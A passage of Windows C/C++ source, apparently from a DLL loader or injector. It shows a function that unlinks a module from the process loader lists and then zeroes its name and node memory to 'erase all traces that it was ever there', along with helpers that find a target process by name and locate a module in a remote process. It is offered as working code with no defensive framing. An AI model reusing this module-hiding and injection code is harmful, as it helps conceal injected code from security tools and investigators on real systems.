///////////////////////////////////////////////////
// Unlink from the load order list
UNLINK(module->LoadOrder);
// Unlink from the init order list
UNLINK(module->InitOrder);
// Unlink from the memory order list
UNLINK(module->MemoryOrder);
// Unlink from the hash table
UNLINK(module->HashTable);

// Erase all traces that it was ever there


///////////////////////////////////////////////////

// This code will pretty much always be optimized into a rep stosb/stosd pair
// so it shouldn't cause problems for relocation.
// Zero out the module name
memset(module->fullPath.Buffer, 0, module->fullPath.Length);
// Zero out the memory of this module's node
memset(module, 0, sizeof(ModuleInfoNode));

return true;
}

__declspec(naked) void CD_stubend() { }

unsigned long GetProcessIdFromProcname(char *procName)


{
PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;

thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(thSnapshot == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
return false;
}

pe.dwSize = sizeof(PROCESSENTRY32);

retval = Process32First(thSnapshot, &pe);

while(retval)
{
if(StrStrI(pe.szExeFile, procName) )
{
ProcFound = true;
break;
}

retval = Process32Next(thSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}

return pe.th32ProcessID;
}

HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)


{
MODULEENTRY32 modEntry;
HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);

modEntry.dwSize = sizeof(MODULEENTRY32);
Module32First(tlh, &modEntry);

do
{
if(!stricmp(modEntry.szModule, module))
return modEntry.hModule;
modEntry.dwSize = sizeof(MODULEENTRY32);
}
while(Module32Next(tlh, &modEntry));
return NULL;
}

You might also like